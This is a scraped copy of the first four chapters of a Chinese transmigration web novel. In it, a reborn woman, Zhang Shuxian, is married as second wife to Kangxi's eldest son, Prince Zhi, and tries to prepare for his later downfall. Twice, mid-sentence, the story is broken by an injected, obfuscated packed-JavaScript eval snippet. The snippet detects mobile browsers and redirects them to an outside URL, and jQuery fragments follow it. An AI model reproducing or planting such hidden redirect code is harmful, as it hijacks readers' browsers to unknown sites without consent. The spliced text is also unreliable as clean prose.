《继福晋》 1. 第 1 章 谷雨时节,正是吃香椿的好时候。 水灵灵的香椿嫩芽从树枝上摘下来,洗净了,炒上一碗鸡蛋,从离树到入口不超过半个时辰,春夏之际的鲜美便尽在口中了。 往年这样一盘香椿炒蛋,张淑娴能下两碗饭,但今年……她能吃三碗。 压力催人干饭,催人肥。 今年过了还不到三分之一,但她的体重已经比年前胖了足足十五斤。 其中有十斤是进宫选秀那半个月长起来的,秀女们能去的地方有限,能出门的时间更是有限,规矩多,住的屋子又小,根本没有活动的条件。 她呢,本就是抱着走过场的想法进宫选秀,怕被上头的人乱点了鸳鸯谱,嫁个老头子做继室,或是指给哪个皇子、宗室做格格,为了避免这种情况的出现,她从头到尾都老老实实,要多规矩就有多规矩,没做一点出格的事儿。 平时在家里会练习的瑜伽和八段锦,在宫里都停了。 而宫中供应的膳食虽然凉了点,但却不缺油水,每顿饭都是在猪肉片子里找白菜。 动的少,吃的又油大,硬生生把她喂胖了十斤。 本以为她这微胖的体型、小麦色的皮肤、中等的家世,这次选秀也就是走个过场,既不会被挑去做小老婆,也不会被指婚给宗室。 但没想到的是她居然没被撂牌子,先是过了初选,又在复选上直接被指婚给了皇帝的长子——直郡王,一个有权有势有孩子的鳏夫。 虽然她两辈子的名字都是‘淑娴’,但她的性格和这两个字完全不沾边。 上辈子,她拼事业拼到三十五岁,谈恋爱都是毕业前的事儿了,久远的像上个世纪,毕业后就没谈过正经恋爱。 工作压力一大,就需要做一些刺激多巴胺分泌的事情,她又不想多干饭致使身材走形,运动又没有足够的时间和精力,那就只能用另一种方式刺激多巴胺的分泌了。 工作多年,好不容易实现了她给自己定下的财务自由标准,结果还没来及辞职享受人生,就先猝死在加班上了。 这辈子,她直到十岁时才解开胎中之谜,恢复上一世的记忆,但在没有恢复记忆的童年时期,她也深受上一世的影响。 比如养生,她是从不肯熬夜的,哪怕是除夕夜,宁可趴在桌子上睡得浑身不舒服,也不喝茶提神。 比如惜命,不管是小时候缠着阿玛学习骑射和功夫,还是央着额娘为她请女医做先生,没恢复记忆前,她以为那些是兴趣,恢复记忆后才知道她只是惜命。 比如攒钱,听额娘说,她抓周时把所有的东西都抓了个遍,全部拢在怀里不撒手,奶嬷嬷抱她都抱不走,最后将抓周的物件全都放到她房间里才肯罢休。 ‘淑娴’这两个字以时下的标准来看,跟她关系不大。 她这样一个舞刀弄棒又惜财爱命的人,可从来没想过要做什么贤妻良母,惜命如她,是万万不想在这个时代冒险生孩子的。 按照她原本的预想,如果一切顺利的话,选秀不过是走个过场,她的未来夫婿大抵会是个寒门出身的举人或秀才,便是没有功名的读书人也可,但要是个标准的书生——俊美、文弱、浑身的书生气。 将来书生若想要孩子,便去寻个身康体健同时又走投无路的女子来做妾室,如此也算是她们三人互帮互助了。 可惜的是,计划没有变化快。 计划的低嫁变高嫁,书生变莽汉,小鲜肉变鳏夫。 天子脚下的京城,直郡王作为康熙的长子,在这里有着赫赫的威名。 两次出征准噶尔,立有军功,多次伴驾出行,备受皇宠,能在朝中与太子分庭抗礼,生母是四妃之首的惠妃,先福晋出自大姓伊尔根觉罗氏。 同时,作为后世之人,淑娴又知道现在这位权势滔天的直郡王,在九龙夺嫡中最先出局,被圈禁半生,彼时是太子第一次被废的康熙四十七年。 而现在,是直郡王被封为郡王的头一年——康熙三十七年。 距离被革爵圈禁,只剩下短短的十年。 这实在算不得一桩好婚事。 这也是淑娴出宫后体重没有下降反而又增了五斤的原因,压力催人肥。 一胖就是十五斤,从徐州赶回京师的觉罗氏见了闺女的面直接瞪大眼睛,把‘瘦了’两个字咽回去。 一别两年,闺女高了,也胖了,还真是应了那句老话——女大十八变。 再瞧两个儿子和儿媳,老大两口子都瘦了,小儿子则是随了闺女。 “阿蓉,这两年辛苦你了。”觉罗氏一只手挽住儿媳,另一只手拉住闺女的手。 “额娘,这都是我应该做的。”李蓉笑道,神情很是放松。 她是江南人士,跟夫君成婚也在江南,不过婚后没多久,便随夫君回京科考,一并回京的还有小叔子和小姑子。 按理,婆媳时隔两年再见面,她应该紧张不安才对,可婆婆来了,她这心里悬了两个月的石头才算是落下来。 小姑子被赐婚为郡王福晋,这是谁都没想到的事儿,公婆原本为小姑子置办的那些嫁妆便远远不够了。 如何置办嫁妆,如何安排下人,如何教导小姑子,这三样她都拿不了主意。 婚期定的紧,眼看再有一个半月便要大婚了,嫁妆依旧单薄,陪嫁的下人只有小姑子身边的丫头,还缺老成的人跟着,而小姑子……日渐丰腴。 这段时间,她是日也盼夜也盼,盼着婆婆早日抵京。 觉罗氏是个风风火火的人,走路迅疾如风,但是这会儿却是放慢了脚步。 张家虽然是汉军旗,但也是旗人,家中没有裹脚的规矩,但大儿媳李氏是地地道道的汉人姑娘,打小便依着规矩裹了脚。 她也不懂这三寸金莲美在哪儿,只知道这小脚走不快。 一家人进了正厅坐下,还没来得及上菜,觉罗氏便已经安排上了。 “我来之前,安排人在江南本地采买了些布料、首饰、西洋摆件,这次一并带回来了,都算在淑娴的嫁妆里。” “我已经跟赵嬷嬷说好了,到时候她们一家跟淑娴去郡王府。” “老大,明儿去你几个舅舅家走一趟,就说我回来了,回来给闺女置办嫁妆的。族人递进来的帖子,有一份算一份都接,跟嫡□□边也别僵着。这是阖族的喜事,让他们也一块高兴高兴。” 凑凑嫁妆嘛。 “老大媳妇,你等会儿把库房的单子拿给我。” “老二,你去官学请个长假,这两个月在家陪你阿姐好好练练,布库就算了,别摔得青一下紫一下的,打打拳跑跑步拉拉弓就行。” “淑娴,你……等会少吃点儿。” 虽说胖了有福气,她闺女能被皇家挑中做福晋,有可能也是看重这福气了,但男人重色。 把闺女捂白点、练瘦点,将来的日子说不定能好过些。 这王府后院可复杂着呢,她们家又是小门小户,在她这个亲生额娘看来,这桩婚事都是极不匹配的,哪怕王爷已经老大不小了,是个鳏夫,还有五个孩子。 她就担心王爷不满意这桩婚事,到时候给她闺女气受。 淑娴:“……” 压力肥这种事情就是个恶性循环,不过眼看就要到夏天了,每年苦夏都是她掉肉的时候,以前都得瘦个五六斤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450294|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今年但愿能多瘦几斤。 当着额娘的面儿,淑娴只吃了六七分饱,挑着鸡蛋和蔬菜多用了些,肥肉和米饭少用些。 饭后又和小弟在家中的演武场里来回溜达了三四十圈,毕竟她们家的演武场是真的小,也就四间屋子的大小,为了置办这个演武场,她们家是没有花园的,只有演武场周边的七八棵树。 屋里的觉罗氏又把大儿子打发回屋读书,这才问儿媳妇:“淑娴怎么胖了这么多?” 两年前还在江南的时候,她闺女是比江南的女儿家壮了些,可也是小脸细腰,哪怕皮肤没那么白净,也俊着呢。 不像如今,鹅蛋脸都变圆脸了。 李氏把小姑子关于‘压力肥’那套说法跟额娘讲述了一遍,又道:“我看淑娴确实是压力太大了,这也不能怪她,如今这情况,换了谁都会有压力。” 一方面,自家的门庭和皇家差的太远了,张家在正黄旗只是中等人家,且是汉军旗。 公公虽说是总兵官,在绿营里官职仅次于提督,可总兵官和总兵官还是不一样的,有的总兵官辖下一万多人,有的却只有几百人。 公公是徐州镇总兵官,手下只有两千多人。 徐州绿营的统领放到京师,实在算不得什么高官。 另一方面,人人皆知直郡王与先福晋感情极好,二人成婚九年,生有四女一子,在这期间,从未听说过哪个格格传过喜信。 而且先大福晋的品性也是被太后和惠妃娘娘称赞肯定过的,在宗室和八旗勋贵中的名声也极好。 有先大福晋珠玉在前,后来者便更容易被挑剔。 觉罗氏皱了皱眉,老大媳妇这话没毛病,齐大非偶,高枝不是那么好攀的。 王府又情况特殊,不光是与王爷感情恩爱的先福晋,还有先福晋留下的嫡出子女,王府里的几个格格也是跟在王爷身边的老人,有早就处下的情分……任谁面对这种情况都会担忧害怕。 可她闺女不是一般人呐,那孩子打小就少长了一根筋。 有时候是又犟又浑,她们家老爷还夸闺女这是洒脱。 但甭管是又犟又混,还是洒脱,她闺女都不是个能为了男女之情患得患失的,尤其是对还没见过面的直郡王,她闺女就不好那口。 那孩子打小便喜欢斯文白净的书生,看画本都喜欢看鬼狐和书生的故事。 至于女子高嫁的胆怯不安,她闺女可能也有,但不安到‘压力肥’……这听着也不像是她闺女能办出来的事儿,她闺女可是从小把‘除生死外无大事’挂在嘴上的人。 “我多年没回京了,在徐州消息不灵通,这京中可有发生什么大事,有关于那位王爷的,是不是上头……不然为何赐下这样一桩婚事。”觉罗氏压低了声音问道。 她和老爷出京的时候,这位王爷还只是位光头阿哥,但却是皇上的爱子。 她也是做人父母的,当年老大的婚事,她们两口子是选了又选,斟酌了又斟酌,最后才为有心科举的大儿子选中耕读传家的李氏。 李家虽不在旗,可是家风极好,阿蓉也是她见过的好姑娘,亲家是康熙十二年的进士,从五品的知州,将来前程或许还在她们家老爷之上。 为孩子挑婚事,便是挑家风、挑品貌、挑家世,皇家的考量只会比这更多,结果却是选中了她那泼猴一样的闺女。 张家这门亲戚对直郡王而言也没什么助益,全族没有一位是朝廷的重臣。 皇上作为阿玛,给儿子挑这样一门婚事,她不得不怀疑,这中间是不是有什么缘由。 所以她闺女压力才会这么大,是不是直郡王已然朝不保夕。 2. 第 2 章 李氏略一低头,沉思了一会儿,才道:“除了封爵外,儿媳并未听说有关王爷的其他事情。 至于封爵,外头倒是有些传言,说是万岁爷的兄弟当年下旗都是一体封王,清一色的亲王,到了皇子这里,王爷比其他皇子多了一次的军功,又是万岁爷的长子,可这次却是跟三阿哥一起封的郡王。” 功劳更多,又是长子,却和三阿哥一起封郡王,这爱子的成色便掉了许多。 好多人私下念叨着,觉得比起直郡王,反倒是三爷更像是皇上的爱子,赐婚的旨意下来后,这样的传言就传得更广了。 觉罗氏点了点头,眉心舒展了些,虽然现在还不知道她闺女压力大的原因,但王爷和三爷一同封郡王细想也不是什么坏事情。 “王爷如今是在宫中,还是已经搬出来了?” “搬出来了,郡王府就建在正红旗。” “那倒是不远。”觉罗氏感慨着。 正红旗和正黄旗这两处的地界紧挨着,都在内城的西北方向上。 若是寻常嫁人,如此近的距离,日后不管是娘家人上门还是闺女回娘家,都很方便。 但嫁进皇家……觉罗氏还真不清楚这里头的规矩,她虽然是红带子,但却是旁支中的旁支,跟嫡□□边早就没什么往来了。 所以,万岁爷到底为什么会选中她闺女做直郡王继福晋呢。 ** 直郡王府。 郡王府早在封爵的旨意下来前就已经建成了,这座府邸的主人也仅搬进来一个月。 先福晋过世已经两年了,继福晋尚未进门,眼下府里管着后院的是直郡王幼时的保姆嬷嬷。 嬷嬷管家,虽是王爷指派的,可到底还是不够名正言顺,众人又都清楚这位袁嬷嬷只有几个月的管家权。 再加上在郡王府伺候的奴才比从前在阿哥所时多多了,且新来的都是内务府出身,抱团对上袁嬷嬷也是不怵的。 原就年纪不轻的袁嬷嬷,这一个月来忙得脚不沾地,先是厨房的账对不上,之后关格格和吴雅格格为争院子闹起来,四格格和大阿哥接连生病,刚进府的小吴雅格格落了水…… 这一桩桩一件件,袁嬷嬷的身子骨实在是撑不住了,她不愿辜负王爷的信任,可更不能让府里头出乱子,尤其是大阿哥,这可是王爷唯一的儿子,是先福晋拼了命生下的。 “爷,奴才无能,奴才管不好后院,眼下小阿哥的病情刚刚好转,奴才是寸步都不敢离,后院之事奴才实在有心无力,请您赎罪。” 刚交了差事回府便匆忙来看孩子们的直郡王:“……” 皇阿玛让他巡视永定河,他在府里住了没几天便出京去了,途中已有收到府里的信,知晓这段时间府里不太平。 “辛苦嬷嬷了,大阿哥这里还需要你看着,免得有人浑水摸鱼,至于府里的其他事情,我再安排。” 后院这情形要说没人使坏,他是不信的。 袁嬷嬷已经是他身边资历最深的老人了,他小时候被送出宫寄养那会儿袁嬷嬷便已经跟在身边了。 论精明能干,袁嬷嬷也是不差的,只是年纪大了,身份又压不住人,再加上有人刻意搅乱。 他的长史和管事官倒是能压住后院的牛鬼蛇神,可没有属官插手后院的道理。 若是把管家权交给几个格格……他亦不能放心,人都是有私心的,格格们现在虽无所出,不代表将来没有。 直郡王看过了熟睡的儿子,这才移步去长女的院子。 几个孩子都有各自专属的院子,不过他也在信中得知,自从四格格生病后,大格格便因为担心将几个妹妹都接进了自己院子里住着。 “女儿给阿玛请安。”大格格带领妹妹们向阿玛行礼。 “奴才里可有不服顺的,不管是从前的老人,还是刚分到的新人,只要觉得用不惯,都只管告诉阿玛,明日一并清退出去。” 大格格略一低头,这怎么能成,新分来的嬷嬷和宫女皆是内务府出身,若是清退回去,且不说这些人没了前程,便是对她们姐妹和阿玛的名声也不好。 “阿玛放心,我们这里没有那等乖张不服顺的奴才。”大格格代妹妹们答道。 都是学好了规矩和活计才分配下来的,怎么会乖张不服顺呢,这样的刺头怕是通不过内务府的考核。 “那就好,有不听话的就撵出去。” 直郡王往揪下腰间的荷包,取出里面的银票。 “这次回来的急,没来得及让人给你们置办礼物,带过去的银钱尽数都带回来了,你们姐妹分分吧,喜欢什么就差人去买。” 此次出差,他原是预备了两千两给几个女儿采买些东西带回来的,只是接到府里的信后,一时着急,倒是忘了这一茬。 “多谢阿玛。”大格格带着妹妹们道完谢后,便不知该说什么了。 她们心中都明白,阿玛是挚亲,是她们在这世上再亲近不过的人了,可却又不知该怎么亲近,甚至面对阿玛时,还有些胆怯。 阿玛不苟言笑,看着甚是严肃。 且阿玛身上差事多,有一半的时间都在早出晚归,而另一半则是直接不在京城,不是伴驾出巡,就是出京办差,或是带兵出征,有时候一出去能有几个月之久。 父女之间见面的次数并不多,相处的时间更是少。 直郡王想了想,又取了随身带着的小印给大格格。 “这是阿玛的私印,你拿着,若有需要,我又不在府里,你就让人拿它去前院找人。” 不管是王府的属臣,还是侍卫,见了他的私印,都会听大格格的。 给了银票和私印后,直郡王便没再多待,匆忙离去,让人把后院各处管事的都叫来,该打的打,该罚的罚,该清退的清退。 ** 张府。 觉罗氏回京的第一天,便拉着女儿在正院陪她住下。 母女俩面对面盘腿坐着,床幔还没有放下来,屋内摆放的几盏灯也还亮着。 “我跟你阿玛在江南得到消息后也是吃了一惊,皇恩浩荡,这样的大喜事竟落到咱们家,若是我们还在京城,怕是要紧跟着开祠堂祭祖了。”觉罗氏先给接下来的谈话定了个基调。 这是喜事,对内对外都得这么说,也的确是这样。 自家闺女之前央着老爷在江南寒门书生里挑个夫婿,还得是个长相俊俏的。 跟自家闺女适龄的书生,进士就别想了,举人也难寻,多半是个秀才或童生。 闺女总想着低嫁能自在些,但低嫁也有低嫁的苦楚,不说衣食住行,她闺女素来不挑拣这些,单说日后见了昔日的堂姐妹、表姐妹,俯下身子称呼一声太太,难道心里会舒服吗。 淑娴点了点头,是喜事,一步登天了,从总兵官的女儿变成超品的郡王福晋。 她阿玛的总兵官目前还没有定下品级,她记得好像是乾隆年间才定下来,应该是二三品的武官。 觉罗氏接着道:“你也不要觉得高嫁没有底气,谁家嫁皇家不是高嫁。 再说我打听了一圈如今的皇子福晋们,咱们家也不是独一份的。 太子妃娘家也是汉军旗。 五福晋的阿玛才七品,叔伯的官职也不高,她祖父去后,娘家就没有能撑起门庭的了。 四福晋家里有爵位是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450295|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假,但兄弟人才平平,她阿玛去后,娘家也不比从前了。 王爷的先福晋当年刚嫁进去,阿玛便因为贪污受贿被革了官职,之后便再没有被起复。 额娘跟你说这些,不是笑话人家,她们每一家论家族的整体实力,都比咱们家要强,轮不到咱们笑话人家,额娘是想告诉你,不必为了家世胆怯。” 淑娴:“……” 她胆怯不是为家世,而是因为未来,距离直郡王被隔绝圈禁,满打满算也只剩十年了。 十年,何其短暂。 她现在才十七岁,十年后也才二十七岁,她可是在觉醒前世记忆时便发下宏愿的——要健健康康活到七十八岁。 这桩婚事意味着她要在郡王府从二十七岁一直圈禁到死,圈个几十年,直接就无期徒刑了。 亏到奶奶家了。 淑娴只能满脸一言难尽的道:“我不是怕嫁进去被人欺负,再是继室,也是明媒正娶,在妯娌们当中也是长嫂,我是怕一朝被牵连,我,还有咱们家,都跟着被搅和进去,万劫不复。” 如果有的选,她倒宁肯是九子夺嫡中的旁人,下场惨烈的八爷和九爷,至少逍遥到了雍正年,太子虽然两度被废,但也比直郡王多逍遥自在了好几年,而且死后被追封为和硕亲王。 总之,嫁给直郡王是最亏的。 而且就眼下龙虎相争的局面,哪怕直郡王肯听她的,她也没把握最后结局就比历史上好,更何况她凭什么让人家听她的。 抗旨拒婚的是不可能的,只能提前做好准备了。 “阿玛远在徐州,大哥便是下一届能考中进士,也是从七八品的小官做起,小弟就更不用说了,尚在官学习武读书,他入仕途还早着呢,咱们正好不用往王爷身边凑,免得日后被牵连。” 啪! 觉罗氏一巴掌拍在闺女后背上。 “说什么呢,你这孩子怎么什么话都敢往外说,日后不许说这种话,更不许有这种想法。 万岁爷既然赐了婚,那张家便是王爷的妻族,王爷若是有用到家里的地方,我们定当尽力,万不能生出疏远王爷的心思,更不能对王爷不敬。 当然了,在咱们正黄旗,上头的主子只有一位,那就是万岁爷。” 万岁爷是上三旗的旗主,但皇子不是,皇子封爵后便要下旗,像直郡王便被安排到了镶蓝旗,成为宗室,不在上三旗中。 淑娴无奈,她又没说要直接对王府那边拒之于千里之外,只是尽量不捆绑在一起罢了,日后王府那边出事,家里也能少受些牵连。 “嗯嗯嗯。”淑娴点头如捣蒜,“我都听额娘的。” “不过嫁妆这事儿得听我的,不必太过耗费,抬数不够就用布料家具来凑。 棉布又舒服又吸水,多置办一些,比绫罗绸缎实用多了,首饰有几件能撑台面的就行,咱们家这情况万岁爷又不是不知道,实在没必要打肿脸充胖子。 再说了,郡王福晋都是有年俸的,光是俸禄养十个我都花不完,完全用不到嫁妆里的东西。” 觉罗氏重重的叹了口气,两年不见,闺女还是那个闺女,有时候是又犟又浑。 事情不是这么办的,嫁妆简薄,不只会让外人看张氏一族的笑话,也有对皇家不敬之嫌。 觉罗氏直接摆了摆手,懒得解释说服,她不费这口舌。 “嫁妆你就不用管了,从明天起,管住嘴,好好减减身上的肉,在大婚之前至少要瘦五斤,少一斤,看我怎么收拾你。” 淑娴冲着额娘乖巧的笑了笑,一个半月瘦五斤,难度倒也不大,她还以为额娘至少会给她定个十斤的目标,看来还是心疼她。 3. 第 3 章 翌日。 直郡王府直接清退了一批人回内务府,因为人数较多,还惊动了御前。 “这些人都是以什么理由退回去的?”康熙问道。 郡王府伺候的奴才总共也才四百来人,一下子退回去九十六个,怪不得赵昌特意来禀告此事。 “王爷身边的首领太监退人的时候只说这些人不好使唤,并未说旁的。”赵昌低着头回道。“王爷离京这段时间,府中确实风波不断,先是厨房的账本对不上,后吴雅氏和关氏两位格格为争院子闹了一场,四格格和大阿哥先后生病……除退回去的九十六人外,郡王府还杖毙了七人。” 康熙扔下手中的御笔,他也和保清想到一处去了,怕是有人在趁机使坏。 账本对不上、格格落水这些都无关紧要,要紧的是有人把手伸到了保清嫡长子身上。 “好好查查,是什么人在兴风作浪。” 儿子的后院还是不能缺了女主人,希望张氏日后不要让他失望才好。 这个人选是保清向他求来的,儿子们的福晋都是他亲自定的,关于娶妻的标准,从前也没有哪个儿子向他提过要求,老大是头一个。 不要高门贵女,想寻个家世中等、胆子不大、心性好、容易满足的女子做继福晋。 这几样要求,无不透露着保清的拳拳爱子之心。 张氏原本不在他的考察范围里,但在所有复选的秀女中,张氏是规矩学的最好的秀女之一,同时也是唯一一个能把每日饭菜吃的差不多的秀女。 前者说明张氏胆子不大,后者咱能看出张氏是个容易满足之人。 他也派人调查了张氏从前的过往:十岁随父母离京,十五岁随兄嫂回京,身体极其康健,骑马射箭样样皆通,是个标准的武将家的女儿,难得还是个喜欢读书的。 上能孝顺父母,下能教导弟弟读书习武,和兄长嫂嫂的关系也很是亲近。 样样都能满足老大的要求,同时也满足了他的要求——身康体健。 他当了三次的鳏夫,却是希望儿子们能够跟福晋白头到老,尤其是保清,已经承受过一次丧妻之痛了,他不希望再来一次。 张氏的家世不出彩,相貌也算不上出挑,做嫡福晋委屈保清了。 “告诉内务府,直郡王的纳彩礼以亲王规制置办。” “嗻。” 梁九功耳观鼻,鼻观心,心里头明白万岁爷这是在补偿直郡王。 他是万岁爷的身边人,直郡王继福晋的人选变动,他在一旁可是瞧得真真的,今年八旗秀女复选之前,万岁爷给直郡王挑的继福晋是户部尚书兼理藩院尚书富察马齐之女。 虽说是侧福晋所出,但满人入关前曾是并嫡,哪怕到了如今,侧出子在爵位继承权上跟嫡出也是一样的,更别说这位还是马齐的长女。 富察家文有马齐,武有马武,都是朝中重臣,还有祖上传下来的男爵,这样的妻族,可谓是要面子有面子,要里子有里子。 富察家与张家,说一句云泥之别,其实也不为过。 * 顿顿青菜,白天关屋里拉弓打拳,太阳下山后围着演武场跑步。 如此一个半月,淑娴把今年长上去的肉全都减下来,人也顾不得担心十年后的无期徒刑了,满心满眼只有肉。 油滋滋的烤肉片,软糯肥美的焖猪脚,浓油赤酱的红烧排骨,香喷喷的酱牛肉…… 她跟额娘解释过很多次了,减肥不能戒肉,嘴上吃肉跟身上长肉的关系不大,奈何额娘根本不听她这套。 她又不能把碳水蛋白质那套理论拿出来,厨房那边对她和她身边的人严防死守,额娘每顿饭都过来盯着她吃。 无期徒刑固然惨,可吃不上肉的日子,毫无乐趣可言,生活仿佛都失去了意义。 人活着,不能没有肉,不能没有碳水,也不能没有蔬菜。 这一个半月的减肥生活,给她带来的最大改变身上掉下去的十五斤肉,也不是她不再那么恐惧十年后的无期徒刑,而是让她意识到了食物的重要性。 如果将来一定要被关在一个四四方方的院子里坐牢,那可不能缺吃少喝,肉面菜一样都不能少,不然就不是坐牢了,是作孽! 她得尽早准备起来才行。 淑娴馋肉馋得眼睛都要冒绿光了,但觉罗氏却对闺女现在这模样极为满意。 “如今这样多好看,你自个儿喜欢白净瘦弱的,旁人难道就不喜欢。 听额娘的,这几年老实点,别整天跑出去晒太阳,更不能像今年这样一下胖这么多,别惹王爷生气,顺着点,得先有个孩子才行。” 闺女虽然有时犯倔犯浑,但不是那种没脑子完全不考虑后果的人,相反她闺女在大事儿还是很靠谱的,该学的规矩都一丝不苟的学了。 以前在江南的时候还主动买过有关律令的书,不光自己读,还带着她们一道读。 用闺女的话来说,读律法书就是为了避免将来犯法而不自知。 她不担心闺女嫁人后会犯了皇家的忌讳、违了紫禁城的规矩,只担心闺女这缺了根筋的性子会跟王爷处不到一起去。 两个人天长地久的事儿她不敢盼,只盼着闺女能有个孩子傍身。 不只是为了将来能有个依靠,更重要的是这男女之 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她自然是不想也不会跟这位王爷对着干,该尽的责任总是要尽的,毕竟郡王福晋的工资可不低。 依着规矩,郡王福晋的年俸是郡王的十分之一,每年五百两白银,外加五百斛禄米,足够养活她和她带过去的人。 这些白银和禄米还只是朝廷发放的工资,王府这边肯定还要再发一份福利,像她带过去的这些人,也要领王府的月俸。 总之,拿多少钱办多少事儿,这样的职业素养她还是有的。 直郡王是她的顶头上司,她傻了才会得罪顶头上司。 “咳咳。”觉罗氏说的口干舌燥,终于从袖口把传家的‘书’拿出来,“你好好看看,有什么不明白的就问。” 这下淑娴来精神了,古代的颜色书,她还真是头一次见。 “我瞧瞧。” 左瞧右瞧,上瞧下瞧,这书的图和文字描述都很是含蓄,有着欲语还休的朦胧。 就这? 还不如手机网页上弹出来的颜色小广告有科普性。 翻了几页,淑娴就没兴趣看下去了,把书合上,交还给额娘:“没什么看不懂的地方,都懂。” 她可是老司机了,直郡王更不是萌新,所以不必担心她们新婚之夜会不和谐。 觉罗氏张了张嘴又闭上,脸颊滚烫,迅速把书卷起来放袖子里,起身走人。 “晚上好好休息,养好气色。” 觉罗氏丢下一句叮嘱走人,可还没等她走出女儿的院子,眼泪便已经夺眶而出。 犟丫头要嫁人了。 4. 第 4 章 另一边,淑娴也是翻来覆去的睡不着,有几分离别的愁绪,还有几分……馋。 好不容易睡着了,大馋丫头梦里都是红烧猪蹄。 等到再睁开眼,肚子空空,肠鸣声适时响起,阳光打在窗户上,早已过了早膳时间。 难得睡个懒觉,这也算是新娘子的特殊福利吧,不过迟来的早餐只有一碗面茶。 所谓面茶,并非是茶汤,而是提前炒熟的小米面,吃的时候直接倒热水冲开,很粘稠,也很饱腹。 至于味道,反正面茶里是吃不出肉味。 “喜服样式复杂,不方便如厕,所以新娘子出门前基本不喝汤水。”李氏轻声跟小姑子解释道,“忍一忍,等到王府换下喜服后,便能随意吃喝了。” 最后一天了,没什么不能忍的,淑娴乖乖应下,绞脸绞眉毛的时候也很是配合,疼了也一声不吭。 这是她待在家里的最后一日了,将来回娘家,也是以出嫁女儿的身份回来,还是不一样的。 身上的喜服,头上的朝冠,都是内务府送来的,连脖颈和两肩佩戴的朝珠都是。 朝冠有三重二层,顶珠是红宝石,金翟五支,每支镶东珠五颗、小珍珠十九颗,后金翟一支,镶了十六颗小金珠,翟尾垂珠三行两就,共一百七十二颗珍珠。 朝珠则是由一百零八颗圆形宝石串成,挂在身上的可不只一盘,而是三盘,一盘蜜珀,两盘珊瑚。 这一身穿在身上,少说也得二十斤,在盛夏的天气里,还没盖盖头,额头鼻尖就已经有汗珠渗出来了,弄花了妆容。 “这……洗了脸重新上妆吧,不涂粉画眉了,只抹面脂和口脂。”觉罗氏果断道。 此时不由在内心庆幸,幸好她压着闺女捂了一个多月,便是不涂粉,也还算白净。 不然在这炎炎烈日里,还真不知道该怎么办才好了。 觉罗氏和李氏亲自动手,用棉帕子浸了温水,小心把脸上的妆擦干净,最后涂上一层面脂,预防脸干。 蒙上盖头,人就跟半瞎一样,被大哥背上花轿,一路摇摇晃晃,被扶下花轿,听着‘夫妻对拜’的唱念声转身拜下去,最后再被扶进所谓洞房。 有轻微幽闭空间恐惧症的淑娴整个人烦躁不已,靠深呼吸才能勉强控制住自己扯下盖头的冲动。 终于,盖头被秤杆掀开,入目的是一张古铜色的面庞,眉飞入鬓,眸如漆星,鼻梁挺直,鼻子下面是一圈被修剪过的络腮胡……足以遮住半张脸的胡子。 面容很符合淑娴对古代武将的刻板印象,威风中透着粗犷,正气凛然。 秤杆掀开盖头,直郡王瞧见的是一张看起来不太高兴且很健康的脸。 新娘皱着眉头,看着有些许的不耐烦,但这张不施粉黛的脸上却是透露着满满的鲜活和健康。 气色好极了。 一旁的嬷嬷适时端过子孙饺子,放在两人中间。 “生不生?” 直郡王囫囵吞咽下去:“生!” 淑娴:“……生的!” 妈呀,饺子里的馅儿真是纯生的。 她还以为饺子皮都熟了,里面的馅儿大抵会是半生不熟的,结果也不知道师傅是怎么做的,熟了的面皮里裹着的是连一分熟都没有的生猪肉! 炫技倒也不必炫在这里。 她再馋肉也受不了这个,嗓子眼里一阵翻涌差点吐出来。 淑娴没吐,但也强忍着没往下咽,只是假装做出咽下去的样子,然后抿唇微笑,一副腼腆不好意思开口的样子。 等直郡王带着其他人出了洞房,淑娴这才招手,让山竹拿帕子给她。 “姑娘,这可不兴吐,子孙饺子是好兆头。”山竹一边回头看了看门窗,一边着急又小声的劝道。 淑娴摆了摆手,吐都吐了,收不回来,再说这生孩子的好兆头,她却是不想要的。 “山竹,再去拿盏茶过来,石榴去屋外找王府的人,和她们一块去厨房拿些饭菜过来,咱们饿半天了,都吃点。” 淑娴想了想又补充道:“多来几个肉菜,拿着打赏的荷包去。” 赵嬷嬷欲言又止,想说这不是新娘子该做的,可她是看着这位小祖宗长大的,深知福晋不在这里,没人能让这位小祖宗改主意。 算了算了,不是什么大事儿,何苦让小祖宗不痛快呢,今儿可是小祖宗大喜的日子。 赵嬷嬷不开口,山竹已经劝过了,石榴拿着打赏的荷包出了门。 而剩下的葡萄和小桃都是打小就跟着姑娘的,跟着姑娘骑马拉弓习武,也跟着姑娘读书攒钱看话本,可以说她们才是最了解也最理解姑娘的人。 一盏清茶,半盏用来漱口,半盏下了肚,肚子却是越发越饿了。 山竹和葡萄帮姑娘拆卸头饰,赵嬷嬷和小桃则是帮自家姑娘取下身上的饰品,把厚重繁琐的喜服换下来,换上一水正红色的单纱袍。 不多时,石榴便领着两个拎着食盒的丫头进了门。 “奴才给福晋请安。” “起来吧。”淑娴等两人行完了礼才道。 石榴边往外端盘子,边介绍道:“福晋,这些都是膳房现做的,干炒鸡脯片、芙蓉蛋、松果肉、炸羊肉圆、烧豆腐、煎银鱼、炝芽笋、火腿羹,还有两盘饽饽。” 淑娴注意到石榴改了称呼,入乡随俗嘛,在哪个山头就唱哪个山头的歌,她也素来如此,换哪家公司就要遵守哪家公司的规章制度,接受人家的企业文化。 像现在,她没有跟嬷嬷和石榴几个人分食,而是留下一半的菜品,剩下一半的菜品直接赏下去。 用膳的时候,靠一侧夹菜,等吃的差不多了,再把剩下的菜赏下去。 